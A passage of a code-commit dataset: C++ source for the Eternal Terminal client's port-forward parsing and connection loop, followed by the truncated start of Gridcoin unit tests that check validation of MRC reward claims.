= 0;\n  while (true) {\n    try {\n      bool fail = true;\n      if (connection->connect()) {\n        connection->writePacket(\n            Packet(EtPacketType::INITIAL_PAYLOAD, protoToString(payload)));\n        fd_set rfd;\n        timeval tv;\n        for (int a = 0; a < 3; a++) {\n          FD_ZERO(&rfd);\n          int clientFd = connection->getSocketFd();\n          if (clientFd < 0) {\n            std::this_thread::sleep_for(std::chrono::seconds(1));\n            continue;\n          }\n          FD_SET(clientFd, &rfd);\n          tv.tv_sec = 1;\n          tv.tv_usec = 0;\n          select(clientFd + 1, &rfd, NULL, NULL, &tv);\n          if (FD_ISSET(clientFd, &rfd)) {\n            Packet initialResponsePacket;\n            if (connection->readPacket(&initialResponsePacket)) {\n              if (initialResponsePacket.getHeader() !=\n                  EtPacketType::INITIAL_RESPONSE) {\n                cout << \"Error: Missing initial response\\n\";\n                STFATAL << \"Missing initial response!\";\n              }\n              auto initialResponse = stringToProto<InitialResponse>(\n                  initialResponsePacket.getPayload());\n              if (initialResponse.has_error()) {\n                cout << \"Error initializing connection: \"\n                     << initialResponse.error() << endl;\n                exit(1);\n              }\n              fail = false;\n              break;\n            }\n          }\n        }\n      }\n      if (fail) {\n        STERROR << \"Connecting to server failed: Connect timeout\";\n        connectFailCount++;\n        if (connectFailCount == 3) {\n          throw std::runtime_error(\"Connect Timeout\");\n        }\n      }\n    } catch (const runtime_error& err) {\n      LOG(INFO) << \"Could not make initial connection to server\";\n      cout << \"Could not make initial connection to \" << _socketEndpoint << \": \"\n           << err.what() << endl;\n      exit(1);\n    }\n    break;\n  }\n  VLOG(1) << \"Client created with id: \" << connection->getId();\n};\n\nTerminalClient::~TerminalClient() {\n  connection->shutdown();\n  console.reset();\n  portForwardHandler.reset();\n  connection.reset();\n}\n\nvoid TerminalClient::run(const string& command) {\n  if (console) {\n    console->setup();\n  }\n\n\/\/ TE sends\/receives data to\/from the shell one char at a time.\n#define BUF_SIZE (16 * 1024)\n  char b[BUF_SIZE];\n\n  time_t keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n  bool waitingOnKeepalive = false;\n\n  if (command.length()) {\n    LOG(INFO) << \"Got command: \" << command;\n    et::TerminalBuffer tb;\n    tb.set_buffer(command + \"; exit\\n\");\n\n    connection->writePacket(\n        Packet(TerminalPacketType::TERMINAL_BUFFER, protoToString(tb)));\n  }\n\n  TerminalInfo lastTerminalInfo;\n\n  if (!console.get()) {\n    cout << \"ET running, feel free to background...\" << endl;\n  }\n\n  while (!connection->isShuttingDown()) {\n    {\n      lock_guard<recursive_mutex> guard(shutdownMutex);\n      if (shuttingDown) {\n        break;\n      }\n    }\n    \/\/ Data structures needed for select() and\n    \/\/ non-blocking I\/O.\n    fd_set rfd;\n    timeval tv;\n\n    FD_ZERO(&rfd);\n    int maxfd = -1;\n    int consoleFd = -1;\n    if (console) {\n      consoleFd = console->getFd();\n      maxfd = consoleFd;\n      FD_SET(consoleFd, &rfd);\n    }\n    int clientFd = connection->getSocketFd();\n    if (clientFd > 0) {\n      FD_SET(clientFd, &rfd);\n      maxfd = max(maxfd, clientFd);\n    }\n    \/\/ TODO: set port forward sockets as well for performance reasons.\n    tv.tv_sec = 0;\n    tv.tv_usec = 10000;\n    select(maxfd + 1, &rfd, NULL, NULL, &tv);\n\n    try {\n      if (console) {\n        \/\/ Check for data to send.\n        if (FD_ISSET(consoleFd, &rfd)) {\n          \/\/ Read from stdin and write to our client that will then send it to\n          \/\/ the server.\n          VLOG(4) << \"Got data from stdin\";\n#ifdef WIN32\n          DWORD events;\n          INPUT_RECORD buffer[128];\n          HANDLE handle = GetStdHandle(STD_INPUT_HANDLE);\n          PeekConsoleInput(handle, buffer, 128, &events);\n          if (events > 0)\n          {\n            ReadConsoleInput(handle, buffer, 128, &events);\n            string s;\n            for (int keyEvent = 0; keyEvent < events; keyEvent++) {\n              if (buffer[keyEvent].EventType == KEY_EVENT && buffer[keyEvent].Event.KeyEvent.bKeyDown) {\n                char charPressed = ((char)buffer[keyEvent].Event.KeyEvent.uChar.AsciiChar);\n                if (charPressed) {\n                  s += charPressed;\n                }\n              }\n            }\n            if (s.length()) {\n              et::TerminalBuffer tb;\n              tb.set_buffer(s);\n\n              connection->writePacket(\n                Packet(TerminalPacketType::TERMINAL_BUFFER, protoToString(tb)));\n              keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n            }\n          }\n#else\n          int rc = ::read(consoleFd, b, BUF_SIZE);\n          FATAL_FAIL(rc);\n          if (rc > 0) {\n            \/\/ VLOG(1) << \"Sending byte: \" << int(b) << \" \" << char(b) << \" \" <<\n            \/\/ connection->getWriter()->getSequenceNumber();\n            string s(b, rc);\n            et::TerminalBuffer tb;\n            tb.set_buffer(s);\n\n            connection->writePacket(\n              Packet(TerminalPacketType::TERMINAL_BUFFER, protoToString(tb)));\n            keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n          }\n#endif\n        }\n      }\n\n      if (clientFd > 0 && FD_ISSET(clientFd, &rfd)) {\n        VLOG(4) << \"Clientfd is selected\";\n        while (connection->hasData()) {\n          VLOG(4) << \"connection has data\";\n          Packet packet;\n          if (!connection->read(&packet)) {\n            break;\n          }\n          uint8_t packetType = packet.getHeader();\n          if (packetType == et::TerminalPacketType::PORT_FORWARD_DATA ||\n              packetType ==\n                  et::TerminalPacketType::PORT_FORWARD_DESTINATION_REQUEST ||\n              packetType ==\n                  et::TerminalPacketType::PORT_FORWARD_DESTINATION_RESPONSE) {\n            keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n            VLOG(4) << \"Got PF packet type \" << packetType;\n            portForwardHandler->handlePacket(packet, connection);\n            continue;\n          }\n          switch (packetType) {\n            case et::TerminalPacketType::TERMINAL_BUFFER: {\n              if (console) {\n                VLOG(3) << \"Got terminal buffer\";\n                \/\/ Read from the server and write to our fake terminal\n                et::TerminalBuffer tb =\n                    stringToProto<et::TerminalBuffer>(packet.getPayload());\n                const string& s = tb.buffer();\n                \/\/ VLOG(5) << \"Got message: \" << s;\n                \/\/ VLOG(1) << \"Got byte: \" << int(b) << \" \" << char(b) << \" \" <<\n                \/\/ connection->getReader()->getSequenceNumber();\n                keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n                console->write(s);\n              }\n              break;\n            }\n            case et::TerminalPacketType::KEEP_ALIVE:\n              waitingOnKeepalive = false;\n              \/\/ This will fill up log file quickly but is helpful for debugging\n              \/\/ latency issues.\n              LOG(INFO) << \"Got a keepalive\";\n              break;\n            default:\n              STFATAL << \"Unknown packet type: \" << int(packetType);\n          }\n        }\n      }\n\n      if (clientFd > 0 && keepaliveTime < time(NULL)) {\n        keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n        if (waitingOnKeepalive) {\n          LOG(INFO) << \"Missed a keepalive, killing connection.\";\n          connection->closeSocketAndMaybeReconnect();\n          waitingOnKeepalive = false;\n        } else {\n          LOG(INFO) << \"Writing keepalive packet\";\n          connection->writePacket(Packet(TerminalPacketType::KEEP_ALIVE, \"\"));\n          waitingOnKeepalive = true;\n        }\n      }\n      if (clientFd < 0) {\n        \/\/ We are disconnected, so stop waiting for keepalive.\n        waitingOnKeepalive = false;\n      }\n\n      if (console) {\n        TerminalInfo ti = console->getTerminalInfo();\n\n        if (ti != lastTerminalInfo) {\n          LOG(INFO) << \"Window size changed: row: \" << ti.row()\n                    << \" column: \" << ti.column() << \" width: \" << ti.width()\n                    << \" height: \" << ti.height();\n          lastTerminalInfo = ti;\n          connection->writePacket(\n              Packet(TerminalPacketType::TERMINAL_INFO, protoToString(ti)));\n        }\n      }\n\n      vector<PortForwardDestinationRequest> requests;\n      vector<PortForwardData> dataToSend;\n      portForwardHandler->update(&requests, &dataToSend);\n      for (auto& pfr : requests) {\n        connection->writePacket(\n            Packet(TerminalPacketType::PORT_FORWARD_DESTINATION_REQUEST,\n                   protoToString(pfr)));\n        VLOG(4) << \"send PF request\";\n        keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n      }\n      for (auto& pwd : dataToSend) {\n        connection->writePacket(\n            Packet(TerminalPacketType::PORT_FORWARD_DATA, protoToString(pwd)));\n        VLOG(4) << \"send PF data\";\n        keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n      }\n    } catch (const runtime_error& re) {\n      STERROR << \"Error: \" << re.what();\n      cout << \"Connection closing because of error: \" << re.what() << endl;\n      lock_guard<recursive_mutex> guard(shutdownMutex);\n      shuttingDown = true;\n    }\n  }\n  if (console) {\n    console->teardown();\n  }\n  cout << \"Session terminated\" << endl;\n}\n}  \/\/ namespace et\n<commit_msg>fix input for forward tunnels (#319)<commit_after>#include \"TerminalClient.hpp\"\n\nnamespace et {\nvector<PortForwardSourceRequest> parseRangesToRequests(const string& input) {\n  vector<PortForwardSourceRequest> pfsrs;\n  auto j = split(input, ',');\n  for (auto& pair : j) {\n    vector<string> sourceDestination = split(pair, ':');\n    try {\n      if (sourceDestination[0].find_first_not_of(\"0123456789-\") != string::npos &&\n          sourceDestination[1].find_first_not_of(\"0123456789-\") != string::npos) {\n        PortForwardSourceRequest pfsr;\n        pfsr.mutable_source()->set_name(sourceDestination[0]);\n        pfsr.mutable_destination()->set_name(sourceDestination[1]);\n        pfsrs.push_back(pfsr);\n      } else if (sourceDestination[0].find('-') != string::npos &&\n          sourceDestination[1].find('-') != string::npos) {\n        vector<string> sourcePortRange = split(sourceDestination[0], '-');\n        int sourcePortStart = stoi(sourcePortRange[0]);\n        int sourcePortEnd = stoi(sourcePortRange[1]);\n\n        vector<string> destinationPortRange = split(sourceDestination[1], '-');\n        int destinationPortStart = stoi(destinationPortRange[0]);\n        int destinationPortEnd = stoi(destinationPortRange[1]);\n\n        if (sourcePortEnd - sourcePortStart !=\n            destinationPortEnd - destinationPortStart) {\n          STFATAL << \"source\/destination port range mismatch\";\n          exit(1);\n        } else {\n          int portRangeLength = sourcePortEnd - sourcePortStart + 1;\n          for (int i = 0; i < portRangeLength; ++i) {\n            PortForwardSourceRequest pfsr;\n            pfsr.mutable_source()->set_port(sourcePortStart + i);\n            pfsr.mutable_destination()->set_port(destinationPortStart + i);\n            pfsrs.push_back(pfsr);\n          }\n        }\n      } else if (sourceDestination[0].find('-') != string::npos ||\n                 sourceDestination[1].find('-') != string::npos) {\n        STFATAL << \"Invalid port range syntax: if source is range, \"\n                   \"destination must be range\";\n      } else {\n        PortForwardSourceRequest pfsr;\n        pfsr.mutable_source()->set_port(stoi(sourceDestination[0]));\n        pfsr.mutable_destination()->set_port(stoi(sourceDestination[1]));\n        pfsrs.push_back(pfsr);\n      }\n    } catch (const std::logic_error& lr) {\n      STFATAL << \"Logic error: \" << lr.what();\n      exit(1);\n    }\n  }\n  return pfsrs;\n}\n\nTerminalClient::TerminalClient(shared_ptr<SocketHandler> _socketHandler,\n                               shared_ptr<SocketHandler> _pipeSocketHandler,\n                               const SocketEndpoint& _socketEndpoint,\n                               const string& id, const string& passkey,\n                               shared_ptr<Console> _console, bool jumphost,\n                               const string& tunnels,\n                               const string& reverseTunnels,\n                               bool forwardSshAgent,\n                               const string& identityAgent)\n    : console(_console), shuttingDown(false) {\n  portForwardHandler = shared_ptr<PortForwardHandler>(\n      new PortForwardHandler(_socketHandler, _pipeSocketHandler));\n  InitialPayload payload;\n  payload.set_jumphost(jumphost);\n\n  try {\n    if (tunnels.length()) {\n      auto pfsrs = parseRangesToRequests(tunnels);\n      for (auto& pfsr : pfsrs) {\n#ifdef WIN32\n        STFATAL << \"Source tunnel not supported on windows yet\";\n#else\n        auto pfsresponse =\n            portForwardHandler->createSource(pfsr, nullptr, -1, -1);\n        if (pfsresponse.has_error()) {\n          throw std::runtime_error(pfsresponse.error());\n        }\n#endif\n      }\n    }\n    if (reverseTunnels.length()) {\n      auto pfsrs = parseRangesToRequests(reverseTunnels);\n      for (auto& pfsr : pfsrs) {\n        *(payload.add_reversetunnels()) = pfsr;\n      }\n    }\n    if (forwardSshAgent) {\n      PortForwardSourceRequest pfsr;\n      string authSock = \"\";\n      if (identityAgent.length()) {\n        authSock.assign(identityAgent);\n      } else {\n        auto authSockEnv = getenv(\"SSH_AUTH_SOCK\");\n        if (!authSockEnv) {\n          cout << \"Missing environment variable SSH_AUTH_SOCK.  Are you sure \"\n                  \"you \"\n                  \"ran ssh-agent first?\"\n               << endl;\n          exit(1);\n        }\n        authSock.assign(authSockEnv);\n      }\n      if (authSock.length()) {\n        pfsr.mutable_destination()->set_name(authSock);\n        pfsr.set_environmentvariable(\"SSH_AUTH_SOCK\");\n        *(payload.add_reversetunnels()) = pfsr;\n      }\n    }\n  } catch (const std::runtime_error& ex) {\n    cout << \"Error establishing port forward: \" << ex.what() << endl;\n    exit(1);\n  }\n\n  connection = shared_ptr<ClientConnection>(\n      new ClientConnection(_socketHandler, _socketEndpoint, id, passkey));\n\n  int connectFailCount = 0;\n  while (true) {\n    try {\n      bool fail = true;\n      if (connection->connect()) {\n        connection->writePacket(\n            Packet(EtPacketType::INITIAL_PAYLOAD, protoToString(payload)));\n        fd_set rfd;\n        timeval tv;\n        for (int a = 0; a < 3; a++) {\n          FD_ZERO(&rfd);\n          int clientFd = connection->getSocketFd();\n          if (clientFd < 0) {\n            std::this_thread::sleep_for(std::chrono::seconds(1));\n            continue;\n          }\n          FD_SET(clientFd, &rfd);\n          tv.tv_sec = 1;\n          tv.tv_usec = 0;\n          select(clientFd + 1, &rfd, NULL, NULL, &tv);\n          if (FD_ISSET(clientFd, &rfd)) {\n            Packet initialResponsePacket;\n            if (connection->readPacket(&initialResponsePacket)) {\n              if (initialResponsePacket.getHeader() !=\n                  EtPacketType::INITIAL_RESPONSE) {\n                cout << \"Error: Missing initial response\\n\";\n                STFATAL << \"Missing initial response!\";\n              }\n              auto initialResponse = stringToProto<InitialResponse>(\n                  initialResponsePacket.getPayload());\n              if (initialResponse.has_error()) {\n                cout << \"Error initializing connection: \"\n                     << initialResponse.error() << endl;\n                exit(1);\n              }\n              fail = false;\n              break;\n            }\n          }\n        }\n      }\n      if (fail) {\n        STERROR << \"Connecting to server failed: Connect timeout\";\n        connectFailCount++;\n        if (connectFailCount == 3) {\n          throw std::runtime_error(\"Connect Timeout\");\n        }\n      }\n    } catch (const runtime_error& err) {\n      LOG(INFO) << \"Could not make initial connection to server\";\n      cout << \"Could not make initial connection to \" << _socketEndpoint << \": \"\n           << err.what() << endl;\n      exit(1);\n    }\n    break;\n  }\n  VLOG(1) << \"Client created with id: \" << connection->getId();\n};\n\nTerminalClient::~TerminalClient() {\n  connection->shutdown();\n  console.reset();\n  portForwardHandler.reset();\n  connection.reset();\n}\n\nvoid TerminalClient::run(const string& command) {\n  if (console) {\n    console->setup();\n  }\n\n\/\/ TE sends\/receives data to\/from the shell one char at a time.\n#define BUF_SIZE (16 * 1024)\n  char b[BUF_SIZE];\n\n  time_t keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n  bool waitingOnKeepalive = false;\n\n  if (command.length()) {\n    LOG(INFO) << \"Got command: \" << command;\n    et::TerminalBuffer tb;\n    tb.set_buffer(command + \"; exit\\n\");\n\n    connection->writePacket(\n        Packet(TerminalPacketType::TERMINAL_BUFFER, protoToString(tb)));\n  }\n\n  TerminalInfo lastTerminalInfo;\n\n  if (!console.get()) {\n    cout << \"ET running, feel free to background...\" << endl;\n  }\n\n  while (!connection->isShuttingDown()) {\n    {\n      lock_guard<recursive_mutex> guard(shutdownMutex);\n      if (shuttingDown) {\n        break;\n      }\n    }\n    \/\/ Data structures needed for select() and\n    \/\/ non-blocking I\/O.\n    fd_set rfd;\n    timeval tv;\n\n    FD_ZERO(&rfd);\n    int maxfd = -1;\n    int consoleFd = -1;\n    if (console) {\n      consoleFd = console->getFd();\n      maxfd = consoleFd;\n      FD_SET(consoleFd, &rfd);\n    }\n    int clientFd = connection->getSocketFd();\n    if (clientFd > 0) {\n      FD_SET(clientFd, &rfd);\n      maxfd = max(maxfd, clientFd);\n    }\n    \/\/ TODO: set port forward sockets as well for performance reasons.\n    tv.tv_sec = 0;\n    tv.tv_usec = 10000;\n    select(maxfd + 1, &rfd, NULL, NULL, &tv);\n\n    try {\n      if (console) {\n        \/\/ Check for data to send.\n        if (FD_ISSET(consoleFd, &rfd)) {\n          \/\/ Read from stdin and write to our client that will then send it to\n          \/\/ the server.\n          VLOG(4) << \"Got data from stdin\";\n#ifdef WIN32\n          DWORD events;\n          INPUT_RECORD buffer[128];\n          HANDLE handle = GetStdHandle(STD_INPUT_HANDLE);\n          PeekConsoleInput(handle, buffer, 128, &events);\n          if (events > 0)\n          {\n            ReadConsoleInput(handle, buffer, 128, &events);\n            string s;\n            for (int keyEvent = 0; keyEvent < events; keyEvent++) {\n              if (buffer[keyEvent].EventType == KEY_EVENT && buffer[keyEvent].Event.KeyEvent.bKeyDown) {\n                char charPressed = ((char)buffer[keyEvent].Event.KeyEvent.uChar.AsciiChar);\n                if (charPressed) {\n                  s += charPressed;\n                }\n              }\n            }\n            if (s.length()) {\n              et::TerminalBuffer tb;\n              tb.set_buffer(s);\n\n              connection->writePacket(\n                Packet(TerminalPacketType::TERMINAL_BUFFER, protoToString(tb)));\n              keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n            }\n          }\n#else\n          int rc = ::read(consoleFd, b, BUF_SIZE);\n          FATAL_FAIL(rc);\n          if (rc > 0) {\n            \/\/ VLOG(1) << \"Sending byte: \" << int(b) << \" \" << char(b) << \" \" <<\n            \/\/ connection->getWriter()->getSequenceNumber();\n            string s(b, rc);\n            et::TerminalBuffer tb;\n            tb.set_buffer(s);\n\n            connection->writePacket(\n              Packet(TerminalPacketType::TERMINAL_BUFFER, protoToString(tb)));\n            keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n          }\n#endif\n        }\n      }\n\n      if (clientFd > 0 && FD_ISSET(clientFd, &rfd)) {\n        VLOG(4) << \"Clientfd is selected\";\n        while (connection->hasData()) {\n          VLOG(4) << \"connection has data\";\n          Packet packet;\n          if (!connection->read(&packet)) {\n            break;\n          }\n          uint8_t packetType = packet.getHeader();\n          if (packetType == et::TerminalPacketType::PORT_FORWARD_DATA ||\n              packetType ==\n                  et::TerminalPacketType::PORT_FORWARD_DESTINATION_REQUEST ||\n              packetType ==\n                  et::TerminalPacketType::PORT_FORWARD_DESTINATION_RESPONSE) {\n            keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n            VLOG(4) << \"Got PF packet type \" << packetType;\n            portForwardHandler->handlePacket(packet, connection);\n            continue;\n          }\n          switch (packetType) {\n            case et::TerminalPacketType::TERMINAL_BUFFER: {\n              if (console) {\n                VLOG(3) << \"Got terminal buffer\";\n                \/\/ Read from the server and write to our fake terminal\n                et::TerminalBuffer tb =\n                    stringToProto<et::TerminalBuffer>(packet.getPayload());\n                const string& s = tb.buffer();\n                \/\/ VLOG(5) << \"Got message: \" << s;\n                \/\/ VLOG(1) << \"Got byte: \" << int(b) << \" \" << char(b) << \" \" <<\n                \/\/ connection->getReader()->getSequenceNumber();\n                keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n                console->write(s);\n              }\n              break;\n            }\n            case et::TerminalPacketType::KEEP_ALIVE:\n              waitingOnKeepalive = false;\n              \/\/ This will fill up log file quickly but is helpful for debugging\n              \/\/ latency issues.\n              LOG(INFO) << \"Got a keepalive\";\n              break;\n            default:\n              STFATAL << \"Unknown packet type: \" << int(packetType);\n          }\n        }\n      }\n\n      if (clientFd > 0 && keepaliveTime < time(NULL)) {\n        keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n        if (waitingOnKeepalive) {\n          LOG(INFO) << \"Missed a keepalive, killing connection.\";\n          connection->closeSocketAndMaybeReconnect();\n          waitingOnKeepalive = false;\n        } else {\n          LOG(INFO) << \"Writing keepalive packet\";\n          connection->writePacket(Packet(TerminalPacketType::KEEP_ALIVE, \"\"));\n          waitingOnKeepalive = true;\n        }\n      }\n      if (clientFd < 0) {\n        \/\/ We are disconnected, so stop waiting for keepalive.\n        waitingOnKeepalive = false;\n      }\n\n      if (console) {\n        TerminalInfo ti = console->getTerminalInfo();\n\n        if (ti != lastTerminalInfo) {\n          LOG(INFO) << \"Window size changed: row: \" << ti.row()\n                    << \" column: \" << ti.column() << \" width: \" << ti.width()\n                    << \" height: \" << ti.height();\n          lastTerminalInfo = ti;\n          connection->writePacket(\n              Packet(TerminalPacketType::TERMINAL_INFO, protoToString(ti)));\n        }\n      }\n\n      vector<PortForwardDestinationRequest> requests;\n      vector<PortForwardData> dataToSend;\n      portForwardHandler->update(&requests, &dataToSend);\n      for (auto& pfr : requests) {\n        connection->writePacket(\n            Packet(TerminalPacketType::PORT_FORWARD_DESTINATION_REQUEST,\n                   protoToString(pfr)));\n        VLOG(4) << \"send PF request\";\n        keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n      }\n      for (auto& pwd : dataToSend) {\n        connection->writePacket(\n            Packet(TerminalPacketType::PORT_FORWARD_DATA, protoToString(pwd)));\n        VLOG(4) << \"send PF data\";\n        keepaliveTime = time(NULL) + CLIENT_KEEP_ALIVE_DURATION;\n      }\n    } catch (const runtime_error& re) {\n      STERROR << \"Error: \" << re.what();\n      cout << \"Connection closing because of error: \" << re.what() << endl;\n      lock_guard<recursive_mutex> guard(shutdownMutex);\n      shuttingDown = true;\n    }\n  }\n  if (console) {\n    console->teardown();\n  }\n  cout << \"Session terminated\" << endl;\n}\n}  \/\/ namespace et\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2022 The Gridcoin developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or https:\/\/opensource.org\/licenses\/mit-license.php.\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <main.h>\n#include <gridcoin\/account.h>\n#include <gridcoin\/beacon.h>\n#include <gridcoin\/cpid.h>\n#include <gridcoin\/mrc.h>\n#include <gridcoin\/tally.h>\n#include <key.h>\n#include <miner.h>\n#include <primitives\/transaction.h>\n#include <rpc\/blockchain.h>\n#include <test\/test_gridcoin.h>\n\nnamespace {\nstruct Setup {\n    CBlockIndex* pindex{nullptr};\n    GRC::Cpid cpid = GRC::Cpid(InsecureRandBytes(16));\n    GRC::ResearchAccount& account = GRC::Tally::CreateAccount(cpid);\n    CWallet* wallet = new CWallet();\n    GRC::Beacon beacon;\n    CKey key;\n\n    Setup() {\n        GRC::GetBeaconRegistry().Reset();\n        SelectParams(CBaseChainParams::MAIN);\n\n        \/\/ Setup a mock chain.\n        uint256* phash = new uint256(InsecureRandBytes(32));\n        pindex = GRC::MockBlockIndex::InsertBlockIndex(*phash);\n        pindexGenesisBlock = pindex;\n        pindex->nVersion = 12;\n        pindex->phashBlock = phash;\n        \/\/ Needed because this code does not mock superblocks and inclusion of m_accrual\n        \/\/ into the calculated accrual is dependant on a block's height being\n        \/\/ lower than the last superblock's.\n        \/\/ TODO(div72): Improve mockability of Tally.\n        pindex->nHeight = -1;\n        mapBlockIndex[pindex->GetBlockHash()] = pindex;\n        for (int i = 1; i < Params().GetConsensus().MRCZeroPaymentInterval \/ (24 * 60 * 60) + 2; ++i) {\n            phash = new uint256(InsecureRandBytes(32));\n            CBlockIndex* pindexNext = GRC::MockBlockIndex::InsertBlockIndex(*phash);\n            pindexNext->nHeight = i;\n            pindexNext->nTime = pindex->nTime + 24 * 60 * 60;\n            pindexNext->nVersion = 12;\n            pindex->pnext = pindexNext;\n            pindexNext->pprev = pindex;\n            pindexNext->phashBlock = phash;\n            pindex = pindexNext;\n        }\n\n        \/\/ These tests were written with these assumptions. If this statement\n        \/\/ does not hold true in the future, please update.\n        assert(pindex->nHeight >= 7);\n        assert(pindex->nHeight < 179);\n\n        CTransaction tx;\n        tx.nTime = pindexGenesisBlock->nTime;\n\n        key.MakeNewKey(false);\n        wallet->AddKey(key);\n\n        GRC::Contract contract = GRC::MakeContract<GRC::BeaconPayload>(\n                GRC::ContractAction::ADD,\n                cpid,\n                key.GetPubKey()\n        );\n\n        account.m_first_block_ptr = pindexGenesisBlock;\n        account.m_last_block_ptr = pindexGenesisBlock;\n\n        GRC::GetBeaconRegistry().Add({contract, tx, pindexGenesisBlock});\n        GRC::GetBeaconRegistry().ActivatePending({key.GetPubKey().GetID()}, tx.nTime, uint256(), 0);\n        beacon = *GRC::GetBeaconRegistry().TryActive(cpid, pindex->nTime);\n\n        SetMockTime(1);\n\n        gArgs.ForceSetArg(\"forcecpid\", cpid.ToString());\n        GRC::Researcher::Reload({}, {});\n    }\n\n    ~Setup() {\n        GRC::GetBeaconRegistry().Reset();\n        gArgs.ForceSetArg(\"forcecpid\", \"\");\n        gArgs.ForceSetArg(\"email\", \"investor\");\n        GRC::Researcher::Reload();\n        gArgs.ForceSetArg(\"email\", \"\");\n        GRC::Tally::RemoveAccount(cpid);\n\n        SetMockTime(0);\n\n        for (CBlockIndex* tip = pindex; tip->pprev; tip = tip->pprev) {\n            mapBlockIndex.erase(tip->GetBlockHash());\n            delete tip->phashBlock;\n        }\n\n        mapBlockIndex.erase(pindexGenesisBlock->GetBlockHash());\n        delete pindexGenesisBlock->phashBlock;\n    }\n};\n} \/\/ Anonymous namespace\n\nBOOST_FIXTURE_TEST_SUITE(MRC, Setup)\n\nBOOST_AUTO_TEST_CASE(it_properly_records_blocks)\n{\n    pindex->AddMRCResearcherContext(cpid, 72, 0.0);\n    pindex->pprev->pprev->SetResearcherContext(cpid, 72, 0.0);\n    pindex->pprev->pprev->pprev->pprev->AddMRCResearcherContext(cpid, 72, 0.0);\n    pindex->pprev->pprev->pprev->pprev->pprev->pprev->SetResearcherContext(cpid, 72, 0.0);\n\n    CBlockIndex* index{pindexGenesisBlock};\n    while (index) {\n        GRC::Tally::RecordRewardBlock(index);\n        index = index->pnext;\n    }\n\n    BOOST_CHECK(account.m_last_block_ptr == pindex->pprev);\n    GRC::Tally::ForgetRewardBlock(pindex);\n    BOOST_CHECK(account.m_last_block_ptr == pindex->pprev->pprev);\n    GRC::Tally::ForgetRewardBlock(pindex->pprev->pprev);\n    BOOST_CHECK(account.m_last_block_ptr == pindex->pprev->pprev->pprev->pprev->pprev);\n    GRC::Tally::ForgetRewardBlock(pindex->pprev->pprev->pprev->pprev);\n    BOOST_CHECK(account.m_last_block_ptr == pindex->pprev->pprev->pprev->pprev->pprev->pprev);\n    GRC::Tally::ForgetRewardBlock(pindex->pprev->pprev->pprev->pprev->pprev->pprev);\n\n    BOOST_CHECK(account.m_last_block_ptr == nullptr);\n    account.m_last_block_ptr = account.m_first_block_ptr;\n}\n\nBOOST_AUTO_TEST_CASE(it_has_proper_fees_for_newbies)\n{\n    GRC::MRC mrc;\n    mrc.m_mining_id = cpid;\n    mrc.m_research_subsidy = 72;\n\n    \/\/ Before:\n    mrc.m_last_block_hash = pindex->pprev->pprev->GetBlockHash();\n    BOOST_CHECK_EQUAL(mrc.ComputeMRCFee(), mrc.m_research_subsidy);\n\n    \/\/ At the border:\n    mrc.m_last_block_hash = pindex->pprev->GetBlockHash();\n    BOOST_CHECK_EQUAL(mrc.ComputeMRCFee(), 28);\n\n    \/\/ After:\n    mrc.m_last_block_hash = pindex->GetBlockHash();\n    BOOST_CHECK_EQUAL(mrc.ComputeMRCFee(), 26);\n}\n\nBOOST_AUTO_TEST_CASE(it_rejects_invalid_claims)\n{\n    GRC::MRC mrc;\n\n    mrc.m_mining_id = cpid;\n    mrc.m_client_version = \"6.0.0.0\";\n    mrc.m_last_block_hash = pindex->GetBlockHash();\n\n    BOOST_CHECK(!mrc.WellFormed()); \n\n    mrc.m_research_subsidy = 72;\n    account.m_accrual = 72;\n\n    mrc.Sign(key);\n    BOOST_CHECK(mrc.WellFormed());\n\n    BOOST_CHECK(!ValidateMRC(pindex, mrc));\n    \n    mrc.m_fee = mrc.ComputeMRCFee();\n    BOOST_CHECK(ValidateMRC(pindex, mrc));\n\n    mrc.m_research_subsidy = 9223372036854775807; \/\/ Get rich.\n    BOOST_CHECK(!ValidateMRC(pindex, mrc));\n    mrc.m_research_subsidy = 72;\n\n    mrc.m_last_block_hash = pindex->pprev->GetBlockHash(); \/\/ Older request.\n    mrc.Sign(key);\n    BOOST_CHECK(!ValidateMRC(pindex, mrc));\n    mrc.m_last_block_hash = pindex->GetBlockHash();\n    mrc.Sign(key);\n\n    mrc.m_fee = 0; \/\/ Tax evasion.\n    BOOST_CHECK(!ValidateMRC(pindex, mrc));\n}\n\nBOOST_AUTO_TEST_CASE(createmrc_creates_valid_mrcs)\n{\n    account.m_accrual = 72;\n    GRC::MRC mrc;\n    CAmount reward, fee;\n    GRC::CreateMRC(pindex->pprev, mrc, reward, fee, wallet);\n\n    BOOST_CHECK_EQUAL(reward, 72);\n    BOOST_CHECK_EQUAL(fee, 28);\n\n    BOOST_CHECK(mrc.WellFormed());\n    BOOST_CHECK(ValidateMRC(pindex->pprev, mrc));\n}\n\nBOOST_AUTO_TEST_CASE(it_creates_valid_mrc_claims)\n{\n    CBlock block;\n    block.vtx.resize(2);\n    block.vtx[1].vin.resize(1);\n    block.vtx[1].vout.resize(2);\n    std::map<GRC::Cpid, std::pair<uint256, GRC::MRC>> mrc_map;\n    std::map<GRC::Cpid, uint256> mrc_tx_map;\n\n    account.m_accrual = 72;\n    pindex->pprev->AddMRCResearcherContext(cpid, 72, 0.0);\n\n    BOOST_CHECK(CreateRestOfTheBlock(block, pindex->pprev, mrc_map));\n\n    GRC::MRC mrc;\n    CAmount reward, fee;\n    GRC::CreateMRC(pindex->pprev, mrc, reward, fee, wallet);\n    mrc_map[cpid] = {uint256{}, 